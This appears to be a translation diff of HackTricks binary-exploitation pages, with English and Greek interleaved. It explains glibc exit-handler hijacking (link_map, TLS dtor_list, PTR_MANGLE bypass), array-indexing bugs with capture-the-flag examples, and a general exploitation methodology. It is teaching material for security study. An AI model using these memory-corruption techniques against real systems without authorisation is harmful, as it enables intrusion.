- Σύμφωνα με την κύρια ανάρτηση αυτής της τεχνικής και [**αυτή την αναφορά**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) το ld.so αφήνει έναν δείκτη στη στοίβα που δείχνει στον δυαδικό `link_map` στο ld.so. Με μια αυθαίρετη εγγραφή είναι δυνατό να το επαναγράψετε και να το κάνετε να δείχνει σε ένα ψεύτικο `fini_array` που ελέγχεται από τον επιτιθέμενο με τη διεύθυνση ενός [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) για παράδειγμα.
|
||||
|
||||
Ακολουθώντας τον προηγούμενο κώδικα μπορείτε να βρείτε μια άλλη ενδιαφέρουσα ενότητα με τον κώδικα:
|
||||
```c
|
||||
/* Next try the old-style destructor. */
|
||||
ElfW(Dyn) *fini = map->l_info[DT_FINI];
|
||||
if (fini != NULL)
|
||||
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
||||
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
||||
}
|
||||
```
|
||||
Σε αυτή την περίπτωση θα ήταν δυνατό να επαναγράψουμε την τιμή του `map->l_info[DT_FINI]` που δείχνει σε μια πλαστή δομή `ElfW(Dyn)`. Βρείτε [**περισσότερες πληροφορίες εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
|
||||
|
||||
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
|
||||
## TLS-Storage dtor_list επαναγραφή στο **`__run_exit_handlers`**
|
||||
|
||||
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
|
||||
|
||||
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
|
||||
|
||||
Code from `_run_exit_handlers()`:
|
||||
Όπως [**εξηγείται εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), αν ένα πρόγραμμα τερματίσει μέσω `return` ή `exit()`, θα εκτελέσει **`__run_exit_handlers()`** που θα καλέσει οποιαδήποτε συνάρτηση καταστροφής έχει καταχωρηθεί.
|
||||
|
||||
Κώδικας από `_run_exit_handlers()`:
|
||||
```c
|
||||
/* Call all functions registered with `atexit' and `on_exit',
|
||||
in the reverse of the order in which they were registered
|
||||
perform stdio cleanup, and terminate program execution with STATUS. */
|
||||
in the reverse of the order in which they were registered
|
||||
perform stdio cleanup, and terminate program execution with STATUS. */
|
||||
void
|
||||
attribute_hidden
|
||||
__run_exit_handlers (int status, struct exit_function_list **listp,
|
||||
bool run_list_atexit, bool run_dtors)
|
||||
bool run_list_atexit, bool run_dtors)
|
||||
{
|
||||
/* First, call the TLS destructors. */
|
||||
/* First, call the TLS destructors. */
|
||||
#ifndef SHARED
|
||||
if (&__call_tls_dtors != NULL)
|
||||
if (&__call_tls_dtors != NULL)
|
||||
#endif
|
||||
if (run_dtors)
|
||||
__call_tls_dtors ();
|
||||
if (run_dtors)
|
||||
__call_tls_dtors ();
|
||||
```
|
||||
|
||||
Code from **`__call_tls_dtors()`**:
|
||||
|
||||
Κώδικας από **`__call_tls_dtors()`**:
|
||||
```c
|
||||
typedef void (*dtor_func) (void *);
|
||||
struct dtor_list //struct added
|
||||
{
|
||||
dtor_func func;
|
||||
void *obj;
|
||||
struct link_map *map;
|
||||
struct dtor_list *next;
|
||||
dtor_func func;
|
||||
void *obj;
|
||||
struct link_map *map;
|
||||
struct dtor_list *next;
|
||||
};
|
||||
|
||||
[...]
|
||||
/* Call the destructors. This is called either when a thread returns from the
|
||||
initial function or when the process exits via the exit function. */
|
||||
initial function or when the process exits via the exit function. */
|
||||
void
|
||||
__call_tls_dtors (void)
|
||||
{
|
||||
while (tls_dtor_list) // parse the dtor_list chained structures
|
||||
{
|
||||
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
|
||||
dtor_func func = cur->func;
|
||||
PTR_DEMANGLE (func); // demangle the function ptr
|
||||
while (tls_dtor_list) // parse the dtor_list chained structures
|
||||
{
|
||||
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
|
||||
dtor_func func = cur->func;
|
||||
PTR_DEMANGLE (func); // demangle the function ptr
|
||||
|
||||
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
|
||||
func (cur->obj);
|
||||
[...]
|
||||
}
|
||||
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
|
||||
func (cur->obj);
|
||||
[...]
|
||||
}
|
||||
}
|
||||
```
|
||||
Για κάθε καταχωρημένη συνάρτηση στη **`tls_dtor_list`**, θα αποσυμπιέσει τον δείκτη από τη **`cur->func`** και θα την καλέσει με το επιχείρημα **`cur->obj`**.
|
||||
|
||||
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
|
||||
|
||||
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
|
||||
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
|
||||
|
||||
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
|
||||
Χρησιμοποιώντας τη συνάρτηση **`tls`** από αυτό το [**fork του GEF**](https://github.com/bata24/gef), είναι δυνατόν να δούμε ότι στην πραγματικότητα η **`dtor_list`** είναι πολύ **κοντά** στο **stack canary** και το **PTR_MANGLE cookie**. Έτσι, με μια υπερχείλιση σε αυτό, θα ήταν δυνατό να **επικαλύψουμε** το **cookie** και το **stack canary**.\
|
||||
Επικαλύπτοντας το PTR_MANGLE cookie, θα ήταν δυνατό να **παρακάμψουμε τη συνάρτηση `PTR_DEMANLE`** ρυθμίζοντάς την σε 0x00, που σημαίνει ότι το **`xor`** που χρησιμοποιείται για να αποκτήσουμε τη πραγματική διεύθυνση είναι απλώς η διεύθυνση που έχει ρυθμιστεί. Στη συνέχεια, γράφοντας στη **`dtor_list`** είναι δυνατό να **αλυσιδώσουμε πολλές συναρτήσεις** με τη διεύθυνση της συνάρτησης και το **επιχείρημά** της.
|
||||
|
||||
Τέλος, σημειώστε ότι ο αποθηκευμένος δείκτης δεν θα xored μόνο με το cookie αλλά και θα περιστραφεί 17 bits:
|
||||
```armasm
|
||||
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
|
||||
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
|
||||
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
|
||||
```
|
||||
Πρέπει να λάβετε υπόψη αυτό πριν προσθέσετε μια νέα διεύθυνση.
|
||||
|
||||
So you need to take this into account before adding a new address.
|
||||
Βρείτε ένα παράδειγμα στην [**αρχική ανάρτηση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
|
||||
|
||||
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
|
||||
## Άλλοι παραμορφωμένοι δείκτες στο **`__run_exit_handlers`**
|
||||
|
||||
## Other mangled pointers in **`__run_exit_handlers`**
|
||||
|
||||
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
|
||||
|
||||
Let's check more code of this function:
|
||||
Αυτή η τεχνική είναι [**εξηγημένη εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) και εξαρτάται ξανά από το πρόγραμμα **να τερματίζει καλώντας `return` ή `exit()`** ώστε να κληθεί **`__run_exit_handlers()`**.
|
||||
|
||||
Ας ελέγξουμε περισσότερα κώδικα αυτής της συνάρτησης:
|
||||
```c
|
||||
while (true)
|
||||
{
|
||||
struct exit_function_list *cur;
|
||||
while (true)
|
||||
{
|
||||
struct exit_function_list *cur;
|
||||
|
||||
restart:
|
||||
cur = *listp;
|
||||
restart:
|
||||
cur = *listp;
|
||||
|
||||
if (cur == NULL)
|
||||
{
|
||||
/* Exit processing complete. We will not allow any more
|
||||
atexit/on_exit registrations. */
|
||||
__exit_funcs_done = true;
|
||||
break;
|
||||
}
|
||||
if (cur == NULL)
|
||||
{
|
||||
/* Exit processing complete. We will not allow any more
|
||||
atexit/on_exit registrations. */
|
||||
__exit_funcs_done = true;
|
||||
break;
|
||||
}
|
||||
|
||||
while (cur->idx > 0)
|
||||
{
|
||||
struct exit_function *const f = &cur->fns[--cur->idx];
|
||||
const uint64_t new_exitfn_called = __new_exitfn_called;
|
||||
while (cur->idx > 0)
|
||||
{
|
||||
struct exit_function *const f = &cur->fns[--cur->idx];
|
||||
const uint64_t new_exitfn_called = __new_exitfn_called;
|
||||
|
||||
switch (f->flavor)
|
||||
{
|
||||
void (*atfct) (void);
|
||||
void (*onfct) (int status, void *arg);
|
||||
void (*cxafct) (void *arg, int status);
|
||||
void *arg;
|
||||
switch (f->flavor)
|
||||
{
|
||||
void (*atfct) (void);
|
||||
void (*onfct) (int status, void *arg);
|
||||
void (*cxafct) (void *arg, int status);
|
||||
void *arg;
|
||||
|
||||
case ef_free:
|
||||
case ef_us:
|
||||
break;
|
||||
case ef_on:
|
||||
onfct = f->func.on.fn;
|
||||
arg = f->func.on.arg;
|
||||
PTR_DEMANGLE (onfct);
|
||||
case ef_free:
|
||||
case ef_us:
|
||||
break;
|
||||
case ef_on:
|
||||
onfct = f->func.on.fn;
|
||||
arg = f->func.on.arg;
|
||||
PTR_DEMANGLE (onfct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
onfct (status, arg);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_at:
|
||||
atfct = f->func.at;
|
||||
PTR_DEMANGLE (atfct);
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
onfct (status, arg);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_at:
|
||||
atfct = f->func.at;
|
||||
PTR_DEMANGLE (atfct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
atfct ();
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_cxa:
|
||||
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
|
||||
we must mark this function as ef_free. */
|
||||
f->flavor = ef_free;
|
||||
cxafct = f->func.cxa.fn;
|
||||
arg = f->func.cxa.arg;
|
||||
PTR_DEMANGLE (cxafct);
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
atfct ();
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_cxa:
|
||||
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
|
||||
we must mark this function as ef_free. */
|
||||
f->flavor = ef_free;
|
||||
cxafct = f->func.cxa.fn;
|
||||
arg = f->func.cxa.arg;
|
||||
PTR_DEMANGLE (cxafct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
cxafct (arg, status);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
}
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
cxafct (arg, status);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
}
|
||||
|
||||
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
|
||||
/* The last exit function, or another thread, has registered
|
||||
more exit functions. Start the loop over. */
|
||||
goto restart;
|
||||
}
|
||||
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
|
||||
/* The last exit function, or another thread, has registered
|
||||
more exit functions. Start the loop over. */
|
||||
goto restart;
|
||||
}
|
||||
|
||||
*listp = cur->next;
|
||||
if (*listp != NULL)
|
||||
/* Don't free the last element in the chain, this is the statically
|
||||
allocate element. */
|
||||
free (cur);
|
||||
}
|
||||
*listp = cur->next;
|
||||
if (*listp != NULL)
|
||||
/* Don't free the last element in the chain, this is the statically
|
||||
allocate element. */
|
||||
free (cur);
|
||||
}
|
||||
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
```
|
||||
Η μεταβλητή `f` δείχνει στη **`initial`** δομή και ανάλογα με την τιμή του `f->flavor` θα κληθούν διαφορετικές συναρτήσεις.\
|
||||
Ανάλογα με την τιμή, η διεύθυνση της συνάρτησης που θα κληθεί θα είναι σε διαφορετική θέση, αλλά θα είναι πάντα **demangled**.
|
||||
|
||||
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
|
||||
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
|
||||
Επιπλέον, στις επιλογές **`ef_on`** και **`ef_cxa`** είναι επίσης δυνατός ο έλεγχος ενός **argument**.
|
||||
|
||||
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
|
||||
Είναι δυνατόν να ελέγξετε τη **`initial` δομή** σε μια συνεδρία αποσφαλμάτωσης με το GEF να τρέχει **`gef> p initial`**.
|
||||
|
||||
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
|
||||
|
||||
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
|
||||
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
|
||||
Για να εκμεταλλευτείτε αυτό, χρειάζεται είτε να **leak ή να διαγράψετε το `PTR_MANGLE` cookie** και στη συνέχεια να αντικαταστήσετε μια είσοδο `cxa` στην αρχική με `system('/bin/sh')`.\
|
||||
Μπορείτε να βρείτε ένα παράδειγμα αυτού στο [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
|
||||
Αυτή η κατηγορία περιλαμβάνει όλες τις ευπάθειες που προκύπτουν επειδή είναι δυνατό να επαναγραφούν ορισμένα δεδομένα μέσω σφαλμάτων στη διαχείριση των δεικτών σε πίνακες. Είναι μια πολύ ευρεία κατηγορία χωρίς συγκεκριμένη μεθοδολογία, καθώς ο μηχανισμός εκμετάλλευσης εξαρτάται εντελώς από τις συνθήκες της ευπάθειας.
|
||||
|
||||
However he you can find some nice **examples**:
|
||||
Ωστόσο, μπορείτε να βρείτε μερικά ωραία **παραδείγματα**:
|
||||
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
|
||||
- Υπάρχουν **2 συγκρουόμενοι πίνακες**, ένας για **διευθύνσεις** όπου αποθηκεύονται τα δεδομένα και ένας με τα **μεγέθη** αυτών των δεδομένων. Είναι δυνατό να επαναγραφεί ο ένας από τον άλλο, επιτρέποντας την εγγραφή μιας αυθαίρετης διεύθυνσης υποδεικνύοντας την ως μέγεθος. Αυτό επιτρέπει την εγγραφή της διεύθυνσης της συνάρτησης `free` στον πίνακα GOT και στη συνέχεια την επαναγραφή της με τη διεύθυνση προς `system`, και την κλήση του free από μια μνήμη με `/bin/sh`.
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
|
||||
- 64 bits, no nx. Επαναγράψτε ένα μέγεθος για να αποκτήσετε μια μορφή buffer overflow όπου όλα θα χρησιμοποιηθούν ως διπλός αριθμός και θα ταξινομηθούν από το μικρότερο στο μεγαλύτερο, οπότε είναι απαραίτητο να δημιουργηθεί ένα shellcode που να πληροί αυτή την απαίτηση, λαμβάνοντας υπόψη ότι το canary δεν πρέπει να μετακινηθεί από τη θέση του και τελικά να επαναγράψει το RIP με μια διεύθυνση προς ret, που να πληροί τις προηγούμενες απαιτήσεις και να τοποθετήσει τη μεγαλύτερη διεύθυνση σε μια νέα διεύθυνση που δείχνει στην αρχή της στοίβας (που διαρρέει από το πρόγραμμα) ώστε να είναι δυνατή η χρήση του ret για να πηδήξει εκεί.
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
|
||||
- 64bits, no relro, canary, nx, no pie. Υπάρχει ένα off-by-one σε έναν πίνακα στη στοίβα που επιτρέπει τον έλεγχο ενός δείκτη παρέχοντας WWW (γράφει το άθροισμα όλων των αριθμών του πίνακα στη διεύθυνση που έχει επαναγραφεί από το off-by-one στον πίνακα). Η στοίβα ελέγχεται ώστε η διεύθυνση GOT `exit` να επαναγραφεί με `pop rdi; ret`, και στη στοίβα προστίθεται η διεύθυνση προς `main` (επιστρέφοντας στο `main`). Χρησιμοποιείται μια αλυσίδα ROP για να διαρρεύσει τη διεύθυνση του put στον GOT χρησιμοποιώντας puts (`exit` θα κληθεί, οπότε θα καλέσει `pop rdi; ret`, εκτελώντας έτσι αυτή την αλυσίδα στη στοίβα). Τέλος, χρησιμοποιείται μια νέα αλυσίδα ROP που εκτελεί το ret2lib.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
|
||||
- 32 bit, no relro, no canary, nx, pie. Καταχρήστε μια κακή ευρετηρίαση για να διαρρεύσετε διευθύνσεις της libc και της heap από τη στοίβα. Καταχρήστε το buffer overflow για να κάνετε ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση της heap είναι απαραίτητη για να παρακαμφθεί ένας έλεγχος).
|
||||
|
||||
@ -1,111 +1,111 @@
|
||||
# Basic Binary Exploitation Methodology
|
||||
# Βασική Μεθοδολογία Εκμετάλλευσης Δυαδικών Αρχείων
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## ELF Basic Info
|
||||
## Βασικές Πληροφορίες για ELF
|
||||
|
||||
Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
|
||||
Πριν ξεκινήσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **ELF δυαδικού**:
|
||||
|
||||
{{#ref}}
|
||||
elf-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
## Exploiting Tools
|
||||
## Εργαλεία Εκμετάλλευσης
|
||||
|
||||
{{#ref}}
|
||||
tools/
|
||||
{{#endref}}
|
||||
|
||||
## Stack Overflow Methodology
|
||||
## Μεθοδολογία Stack Overflow
|
||||
|
||||
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
|
||||
Με τόσες πολλές τεχνικές, είναι καλό να έχετε ένα σχέδιο για το πότε θα είναι χρήσιμη κάθε τεχνική. Σημειώστε ότι οι ίδιες προστασίες θα επηρεάσουν διαφορετικές τεχνικές. Μπορείτε να βρείτε τρόπους να παρακάμψετε τις προστασίες σε κάθε ενότητα προστασίας, αλλά όχι σε αυτή τη μεθοδολογία.
|
||||
|
||||
## Controlling the Flow
|
||||
## Έλεγχος της Ροής
|
||||
|
||||
There are different was you could end controlling the flow of a program:
|
||||
Υπάρχουν διάφοροι τρόποι για να ελέγξετε τη ροή ενός προγράμματος:
|
||||
|
||||
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
|
||||
- Or via **Arbitrary Writes + Write What Where to Execution**
|
||||
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
|
||||
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
|
||||
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
|
||||
- [**Stack Overflows**](../stack-overflow/) που επαναγράφουν τον δείκτη επιστροφής από το stack ή το EBP -> ESP -> EIP.
|
||||
- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Integer Overflows**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση.
|
||||
- Ή μέσω **Arbitrary Writes + Write What Where to Execution**.
|
||||
- [**Format strings**](../format-strings/)**:** Εκμεταλλευτείτε το `printf` για να γράψετε αυθαίρετο περιεχόμενο σε αυθαίρετες διευθύνσεις.
|
||||
- [**Array Indexing**](../array-indexing.md): Εκμεταλλευτείτε μια κακώς σχεδιασμένη ευρετηρίαση για να μπορέσετε να ελέγξετε ορισμένους πίνακες και να αποκτήσετε μια αυθαίρετη εγγραφή.
|
||||
- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Integer Overflows**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση.
|
||||
- **bof to WWW via ROP**: Εκμεταλλευτείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορέσετε να αποκτήσετε ένα WWW.
|
||||
|
||||
You can find the **Write What Where to Execution** techniques in:
|
||||
Μπορείτε να βρείτε τις τεχνικές **Write What Where to Execution** σε:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
## Eternal Loops
|
||||
## Αιώνιοι Βρόχοι
|
||||
|
||||
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
|
||||
Κάτι που πρέπει να λάβετε υπόψη είναι ότι συνήθως **μόνο μία εκμετάλλευση μιας ευπάθειας μπορεί να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά κάποιες προστασίες χρειάζονται να παρακαμφθούν. Επομένως, είναι ενδιαφέρον να συζητήσουμε ορισμένες επιλογές για **να κάνουμε μια μοναδική ευπάθεια εκμεταλλεύσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού:
|
||||
|
||||
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
|
||||
- Controlling a proper ROP chain you might be able to perform all the actions in that chain
|
||||
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
|
||||
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
|
||||
- Γράψτε σε μια **ROP** αλυσίδα τη διεύθυνση της **`main` συνάρτησης** ή τη διεύθυνση όπου συμβαίνει η **ευπάθεια**.
|
||||
- Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορεί να είστε σε θέση να εκτελέσετε όλες τις ενέργειες σε αυτή την αλυσίδα.
|
||||
- Γράψτε στη διεύθυνση **`exit` στο GOT** (ή οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τελειώσει) τη διεύθυνση για να **επιστρέψετε στην ευπάθεια**.
|
||||
- Όπως εξηγήθηκε στο [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** αποθηκεύστε 2 συναρτήσεις εδώ, μία για να καλέσετε ξανά την ευπάθεια και άλλη για να καλέσετε**`__libc_csu_fini`** που θα καλέσει ξανά τη συνάρτηση από το `.fini_array`.
|
||||
|
||||
## Exploitation Goals
|
||||
## Στόχοι Εκμετάλλευσης
|
||||
|
||||
### Goal: Call an Existing function
|
||||
### Στόχος: Κλήση μιας Υπάρχουσας Συνάρτησης
|
||||
|
||||
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
|
||||
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
|
||||
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
|
||||
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
|
||||
- If you need to set several parameter to correctly call the **ret2win** function you can use:
|
||||
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
|
||||
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
|
||||
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
|
||||
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
|
||||
- [**ret2win**](./#ret2win): Υπάρχει μια συνάρτηση στον κώδικα που πρέπει να καλέσετε (ίσως με κάποιες συγκεκριμένες παραμέτρους) προκειμένου να αποκτήσετε τη σημαία.
|
||||
- Σε μια **κανονική bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) χρειάζεται απλώς να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στο stack.
|
||||
- Σε μια bof με [**PIE**](../common-binary-protections-and-bypasses/pie/), θα χρειαστεί να την παρακάμψετε.
|
||||
- Σε μια bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), θα χρειαστεί να την παρακάμψετε.
|
||||
- Αν χρειαστεί να ορίσετε πολλές παραμέτρους για να καλέσετε σωστά τη συνάρτηση **ret2win**, μπορείτε να χρησιμοποιήσετε:
|
||||
- Μια [**ROP**](./#rop-and-ret2...-techniques) **αλυσίδα αν υπάρχουν αρκετά gadgets** για να προετοιμάσετε όλες τις παραμέτρους.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη syscall) για να ελέγξετε πολλούς καταχωρητές.
|
||||
- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές.
|
||||
- Μέσω ενός [**Write What Where**](../arbitrary-write-2-exec/) μπορείτε να εκμεταλλευτείτε άλλες ευπάθειες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**.
|
||||
